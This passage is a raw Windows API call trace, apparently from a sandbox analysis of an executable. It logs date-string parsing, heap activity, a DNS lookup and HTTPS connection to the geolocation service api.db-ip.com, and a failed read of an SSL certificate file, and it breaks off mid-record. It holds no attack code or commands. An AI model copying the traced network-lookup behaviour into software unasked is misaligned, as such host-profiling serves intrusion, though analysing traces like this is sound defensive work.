dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="SEPT", cchCount2=4) returned 1 [0119.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="DÉC", cchCount2=3) returned 1 [0119.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="FÉVR", cchCount2=4) returned 1 [0119.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUI", cchCount2=3) returned 1 [0119.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AOÛT", cchCount2=4) returned 1 [0119.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.186] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAJ", cchCount2=3) returned 1 [0119.186] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.186] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.186] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.186] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AVG", cchCount2=3) returned 1 [0119.186] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.186] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.186] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.186] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mar", cchCount1=3, lpString2="JAN", cchCount2=3) returned 3 [0119.186] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mar", cchCount1=3, lpString2="FEB", cchCount2=3) returned 3 [0119.186] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mar", cchCount1=3, lpString2="MAR", cchCount2=3) returned 2 [0119.186] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="A", cchCount2=1) returned 3 [0119.186] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ACDT", cchCount2=4) returned 3 [0119.186] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ACST", cchCount2=4) returned 3 [0119.186] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ACT", cchCount2=3) returned 3 [0119.186] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ADT", cchCount2=3) returned 3 [0119.186] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AEDT", cchCount2=4) returned 3 [0119.186] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AEST", cchCount2=4) returned 3 [0119.186] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AFT", cchCount2=3) returned 3 [0119.186] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AKDT", cchCount2=4) returned 3 [0119.186] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AKST", cchCount2=4) returned 3 [0119.186] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AMST", cchCount2=4) returned 3 [0119.186] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AMST", cchCount2=4) returned 3 [0119.186] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AMT", cchCount2=3) returned 3 [0119.186] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AMT", cchCount2=3) returned 3 [0119.187] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ART", cchCount2=3) returned 3 [0119.187] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AST", cchCount2=3) returned 3 [0119.187] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AST", cchCount2=3) returned 3 [0119.187] GetTimeZoneInformation (in: lpTimeZoneInformation=0x18fa84 | out: lpTimeZoneInformation=0x18fa84) returned 0x2 [0119.187] LoadStringW (in: hInstance=0x400000, uID=0xfea1, lpBuffer=0x18db44, cchBufferMax=4096 | out: lpBuffer="Chunk Started") returned 0xd [0119.187] GetTickCount64 () returned 0x115085a [0119.188] GetTickCount64 () returned 0x115085a [0119.188] GetTickCount64 () returned 0x115085a [0119.188] select (in: nfds=0, readfds=0x18f8e4, writefds=0x0, exceptfds=0x0, timeout=0x0 | out: readfds=0x18f8e4, writefds=0x0, exceptfds=0x0) returned 1 [0119.188] SetLastError (dwErrCode=0x0) [0119.188] SetLastError (dwErrCode=0x0) [0119.188] WSASetLastError (iError=0) [0119.188] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.188] SetLastError (dwErrCode=0x0) [0119.188] WSASetLastError (iError=0) [0119.188] recv (in: s=0x12c, buf=0x2d51900, len=29, flags=0 | out: buf=0x2d51900*) returned 29 [0119.188] GetTickCount64 () returned 0x115085a [0119.188] select (in: nfds=0, readfds=0x18fa58, writefds=0x0, exceptfds=0x0, timeout=0x18fa40*(tv_sec=0, tv_usec=0) | out: readfds=0x18fa58, writefds=0x0, exceptfds=0x0) returned 0 [0119.189] select (in: nfds=0, readfds=0x18fa58, writefds=0x0, exceptfds=0x0, timeout=0x18fa40*(tv_sec=0, tv_usec=0) | out: readfds=0x18fa58, writefds=0x0, exceptfds=0x0) returned 0 [0119.189] WSASetLastError (iError=0) [0119.189] send (s=0x12c, buf=0x2d409d3*, len=31, flags=0) returned 31 [0119.190] shutdown (s=0x12c, how=1) returned 0 [0119.190] closesocket (s=0x12c) returned 0 [0119.190] socket (af=2, type=1, protocol=0) returned 0x12c [0119.191] getsockopt (in: s=0x12c, level=65535, optname=4104, optval=0x18facc, optlen=0x18fac8 | out: optval="\x01", optlen=0x18fac8) returned 0 [0119.191] getsockopt (in: s=0x12c, level=6, optname=1, optval=0x18facc, optlen=0x18fac8 | out: optval="", optlen=0x18fac8) returned 0 [0119.191] setsockopt (s=0x12c, level=65535, optname=4, optval="", optlen=4) returned 0 [0119.191] htons (hostshort=0x0) returned 0x0 [0119.191] bind (s=0x12c, addr=0x18fa24*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0 [0119.191] getsockname (in: s=0x12c, name=0x18fa18, namelen=0x18fa98 | out: name=0x18fa18*(sa_family=2, sin_port=0xc00a, sin_addr="0.0.0.0"), namelen=0x18fa98) returned 0 [0119.191] htons (hostshort=0xac0) returned 0xc00a [0119.191] IdnToAscii (in: dwFlags=0x0, lpUnicodeCharStr="api.db-ip.com", cchUnicodeChar=13, lpASCIICharStr=0x0, cchASCIIChar=0 | out: lpASCIICharStr=0x0) returned 13 [0119.191] IdnToAscii (in: dwFlags=0x0, lpUnicodeCharStr="api.db-ip.com", cchUnicodeChar=13, lpASCIICharStr=0x80f99c, cchASCIIChar=13 | out: lpASCIICharStr="api.db-ip.com") returned 13 [0119.191] GetAddrInfoW (in: pNodeName="api.db-ip.com", pServiceName=0x0, pHints=0x18facc*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x18faec | out: ppResult=0x18faec*=0x2b94870*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b949e0*(sa_family=2, sin_port=0x0, sin_addr="104.26.4.15"), ai_next=0x2b949f8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b94a20*(sa_family=2, sin_port=0x0, sin_addr="104.26.5.15"), ai_next=0x0))) returned 0 [0119.192] FreeAddrInfoW (pAddrInfo=0x2b94870*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b949e0*(sa_family=2, sin_port=0x0, sin_addr="104.26.4.15"), ai_next=0x2b949f8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b94a20*(sa_family=2, sin_port=0x0, sin_addr="104.26.5.15"), ai_next=0x0))) [0119.193] htons (hostshort=0x1bb) returned 0xbb01 [0119.193] connect (s=0x12c, name=0x18fa7c*(sa_family=2, sin_port=0x1bb, sin_addr="104.26.4.15"), namelen=16) returned 0 [0119.214] getsockname (in: s=0x12c, name=0x18fa64, namelen=0x18fae4 | out: name=0x18fa64*(sa_family=2, sin_port=0xc00a, sin_addr="192.168.0.156"), namelen=0x18fae4) returned 0 [0119.214] htons (hostshort=0xac0) returned 0xc00a [0119.214] getpeername (in: s=0x12c, name=0x18fa64, namelen=0x18fae4 | out: name=0x18fa64*(sa_family=2, sin_port=0x1bb, sin_addr="104.26.4.15"), namelen=0x18fae4) returned 0 [0119.214] htons (hostshort=0xbb01) returned 0x1bb [0119.214] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1d8) returned 0x2d24c58 [0119.214] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x180) returned 0x2a0d08 [0119.214] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x60) returned 0x2aff60 [0119.215] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2d36560 [0119.215] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x48) returned 0x2d45f98 [0119.215] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35ea8 [0119.215] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34ac8 [0119.215] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36128 [0119.215] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34ae0 [0119.215] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2d253a0 [0119.215] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2d4a2b8 [0119.215] GetCurrentThreadId () returned 0x9fc [0119.215] GetCurrentThreadId () returned 0x9fc [0119.215] GetCurrentThreadId () returned 0x9fc [0119.215] GetCurrentThreadId () returned 0x9fc [0119.215] GetCurrentThreadId () returned 0x9fc [0119.215] GetCurrentThreadId () returned 0x9fc [0119.215] GetCurrentThreadId () returned 0x9fc [0119.215] GetCurrentThreadId () returned 0x9fc [0119.215] GetCurrentThreadId () returned 0x9fc [0119.215] GetCurrentThreadId () returned 0x9fc [0119.215] GetCurrentThreadId () returned 0x9fc [0119.215] GetCurrentThreadId () returned 0x9fc [0119.215] GetCurrentThreadId () returned 0x9fc [0119.215] GetCurrentThreadId () returned 0x9fc [0119.215] GetCurrentThreadId () returned 0x9fc [0119.215] GetCurrentThreadId () returned 0x9fc [0119.215] GetCurrentThreadId () returned 0x9fc [0119.215] GetCurrentThreadId () returned 0x9fc [0119.215] GetCurrentThreadId () returned 0x9fc [0119.215] GetCurrentThreadId () returned 0x9fc [0119.215] GetCurrentThreadId () returned 0x9fc [0119.215] GetCurrentThreadId () returned 0x9fc [0119.215] GetCurrentThreadId () returned 0x9fc [0119.215] GetCurrentThreadId () returned 0x9fc [0119.215] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x9c4) returned 0x2d4aea0 [0119.215] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x404) returned 0x2d24e80 [0119.215] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d24e80 | out: hHeap=0x2a0000) returned 1 [0119.216] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x348) returned 0x2d24e80 [0119.216] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d24e80 | out: hHeap=0x2a0000) returned 1 [0119.216] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d361a8 [0119.216] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34b40 [0119.216] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34b40, Size=0x20) returned 0x2d4a2e0 [0119.216] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4a2e0, Size=0x40) returned 0x2d36638 [0119.216] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d36638, Size=0x80) returned 0x2d4ead8 [0119.216] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4ead8, Size=0x100) returned 0x2d59108 [0119.216] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d59108, Size=0x200) returned 0x2d37aa0 [0119.216] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4aea0 | out: hHeap=0x2a0000) returned 1 [0119.216] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35e08 [0119.216] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34b40 [0119.216] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34b40, Size=0x200) returned 0x2d37898 [0119.216] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2d253d8 [0119.216] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2d4a2e0 [0119.216] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35ec8 [0119.216] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34b40 [0119.216] GetCurrentThreadId () returned 0x9fc [0119.216] GetCurrentThreadId () returned 0x9fc [0119.216] GetCurrentThreadId () returned 0x9fc [0119.216] GetCurrentThreadId () returned 0x9fc [0119.216] GetCurrentThreadId () returned 0x9fc [0119.216] GetCurrentThreadId () returned 0x9fc [0119.216] GetCurrentThreadId () returned 0x9fc [0119.216] GetCurrentThreadId () returned 0x9fc [0119.216] GetCurrentThreadId () returned 0x9fc [0119.216] GetCurrentThreadId () returned 0x9fc [0119.216] GetCurrentThreadId () returned 0x9fc [0119.216] GetCurrentThreadId () returned 0x9fc [0119.216] GetCurrentThreadId () returned 0x9fc [0119.216] GetCurrentThreadId () returned 0x9fc [0119.216] GetCurrentThreadId () returned 0x9fc [0119.216] GetCurrentThreadId () returned 0x9fc [0119.216] GetCurrentThreadId () returned 0x9fc [0119.216] GetCurrentThreadId () returned 0x9fc [0119.217] GetCurrentThreadId () returned 0x9fc [0119.217] GetCurrentThreadId () returned 0x9fc [0119.217] GetCurrentThreadId () returned 0x9fc [0119.217] GetCurrentThreadId () returned 0x9fc [0119.217] GetCurrentThreadId () returned 0x9fc [0119.217] GetCurrentThreadId () returned 0x9fc [0119.217] GetCurrentThreadId () returned 0x9fc [0119.217] GetCurrentThreadId () returned 0x9fc [0119.217] GetCurrentThreadId () returned 0x9fc [0119.217] GetCurrentThreadId () returned 0x9fc [0119.217] GetCurrentThreadId () returned 0x9fc [0119.217] GetCurrentThreadId () returned 0x9fc [0119.217] GetCurrentThreadId () returned 0x9fc [0119.217] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d4a0a0 [0119.217] GetCurrentThreadId () returned 0x9fc [0119.217] GetCurrentThreadId () returned 0x9fc [0119.217] GetCurrentThreadId () returned 0x9fc [0119.217] GetCurrentThreadId () returned 0x9fc [0119.217] GetCurrentThreadId () returned 0x9fc [0119.217] GetCurrentThreadId () returned 0x9fc [0119.217] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a0a0 | out: hHeap=0x2a0000) returned 1 [0119.217] GetCurrentThreadId () returned 0x9fc [0119.217] GetCurrentThreadId () returned 0x9fc [0119.217] GetCurrentThreadId () returned 0x9fc [0119.217] GetCurrentThreadId () returned 0x9fc [0119.217] GetCurrentThreadId () returned 0x9fc [0119.217] GetCurrentThreadId () returned 0x9fc [0119.217] GetCurrentThreadId () returned 0x9fc [0119.217] GetCurrentThreadId () returned 0x9fc [0119.217] GetCurrentThreadId () returned 0x9fc [0119.217] GetCurrentThreadId () returned 0x9fc [0119.217] GetCurrentThreadId () returned 0x9fc [0119.217] GetCurrentThreadId () returned 0x9fc [0119.217] GetCurrentThreadId () returned 0x9fc [0119.217] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d4a0a0 [0119.218] GetCurrentThreadId () returned 0x9fc [0119.218] GetCurrentThreadId () returned 0x9fc [0119.218] GetCurrentThreadId () returned 0x9fc [0119.218] GetCurrentThreadId () returned 0x9fc [0119.218] GetCurrentThreadId () returned 0x9fc [0119.218] GetCurrentThreadId () returned 0x9fc [0119.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a0a0 | out: hHeap=0x2a0000) returned 1 [0119.218] GetCurrentThreadId () returned 0x9fc [0119.218] GetCurrentThreadId () returned 0x9fc [0119.218] GetCurrentThreadId () returned 0x9fc [0119.218] GetCurrentThreadId () returned 0x9fc [0119.218] GetCurrentThreadId () returned 0x9fc [0119.218] GetCurrentThreadId () returned 0x9fc [0119.218] GetCurrentThreadId () returned 0x9fc [0119.218] GetCurrentThreadId () returned 0x9fc [0119.218] GetCurrentThreadId () returned 0x9fc [0119.218] GetCurrentThreadId () returned 0x9fc [0119.218] GetCurrentThreadId () returned 0x9fc [0119.218] GetCurrentThreadId () returned 0x9fc [0119.218] GetCurrentThreadId () returned 0x9fc [0119.218] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d4a0a0 [0119.218] GetCurrentThreadId () returned 0x9fc [0119.218] GetCurrentThreadId () returned 0x9fc [0119.218] GetCurrentThreadId () returned 0x9fc [0119.218] GetCurrentThreadId () returned 0x9fc [0119.218] GetCurrentThreadId () returned 0x9fc [0119.218] GetCurrentThreadId () returned 0x9fc [0119.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a0a0 | out: hHeap=0x2a0000) returned 1 [0119.218] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34ba0 [0119.218] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34bb8 [0119.218] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35f28 [0119.218] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x11112dc0, cbMultiByte=24, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 24 [0119.219] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x11112dc0, cbMultiByte=24, lpWideCharStr=0x18fa30, cchWideChar=24 | out: lpWideCharStr="/usr/local/ssl/cert.pem") returned 24 [0119.219] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x110f18d8, cbMultiByte=2, lpWideCharStr=0x18fa74, cchWideChar=8 | out: lpWideCharStr="r") returned 2 [0119.219] CreateFileW (lpFileName="/usr/local/ssl/cert.pem" (normalized: "c:\\usr\\local\\ssl\\cert.pem"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18f8ec, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.219] GetLastError () returned 0x3 [0119.219] GetLastError () returned 0x3 [0119.219] CreateFileA (lpFileName="/usr/local/ssl/cert.pem" (normalized: "c:\\usr\\local\\ssl\\cert.pem"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18f8f0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.219] GetLastError () returned 0x3 [0119.219] GetLastError () returned 0x3 [0119.219] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35260, Size=0x20) returned 0x2d4a628 [0119.219] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4a628, Size=0x40) returned 0x2d36638 [0119.219] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d36638, Size=0x80) returned 0x2d4ead8 [0119.219] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4ead8, Size=0x100) returned 0x2d59108 [0119.219] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d59108, Size=0x200) returned 0x2d37488 [0119.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4aea0 | out: hHeap=0x2a0000) returned 1 [0119.219] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d360c8 [0119.219] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35260 [0119.219] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35260, Size=0x200) returned 0x2d37690 [0119.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d37aa0 | out: hHeap=0x2a0000) returned 1 [0119.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d361a8 | out: hHeap=0x2a0000) returned 1 [0119.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d37898 | out: hHeap=0x2a0000) returned 1 [0119.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35e08 | out: hHeap=0x2a0000) returned 1 [0119.220] setsockopt (s=0x12c, level=65535, optname=4102, optval="0u", optlen=4) returned 0 [0119.220] setsockopt (s=0x12c, level=65535, optname=4101, optval="0u", optlen=4) returned 0 [0119.220] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.220] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="o", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.220] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.220] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".", cchCount1=1, lpString2="@", cchCount2=1) returned 1 [0119.220] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.220] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.220] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-", cchCount1=1, lpString2="@", cchCount2=1) returned 1 [0119.220] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.220] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="d", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.220] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".", cchCount1=1, lpString2="@", cchCount2=1) returned 1 [0119.220] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.220] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.220] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.220] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.220] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="d", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.220] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="o", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.220] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.220] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="y", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.220] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.220] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="t", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.220] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.220] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="u", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.220] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="o", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.221] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.221] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="/", cchCount1=1, lpString2="/", cchCount2=1) returned 2 [0119.221] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1dc) returned 0x2d48998 [0119.221] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x180) returned 0x2d24e80 [0119.221] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2d25410 [0119.221] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2d4a628 [0119.221] GetCurrentThreadId () returned 0x9fc [0119.221] GetCurrentThreadId () returned 0x9fc [0119.221] GetCurrentThreadId () returned 0x9fc [0119.221] GetCurrentThreadId () returned 0x9fc [0119.221] GetCurrentThreadId () returned 0x9fc [0119.221] GetCurrentThreadId () returned 0x9fc [0119.221] GetCurrentThreadId () returned 0x9fc [0119.221] GetCurrentThreadId () returned 0x9fc [0119.221] GetCurrentThreadId () returned 0x9fc [0119.221] GetCurrentThreadId () returned 0x9fc [0119.221] GetCurrentThreadId () returned 0x9fc [0119.221] GetCurrentThreadId () returned 0x9fc [0119.221] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x42c) returned 0x2d50ac0 [0119.221] GetCurrentThreadId () returned 0x9fc [0119.221] GetCurrentThreadId () returned 0x9fc [0119.221] GetCurrentThreadId () returned 0x9fc [0119.221] GetCurrentThreadId () returned 0x9fc [0119.221] GetCurrentThreadId () returned 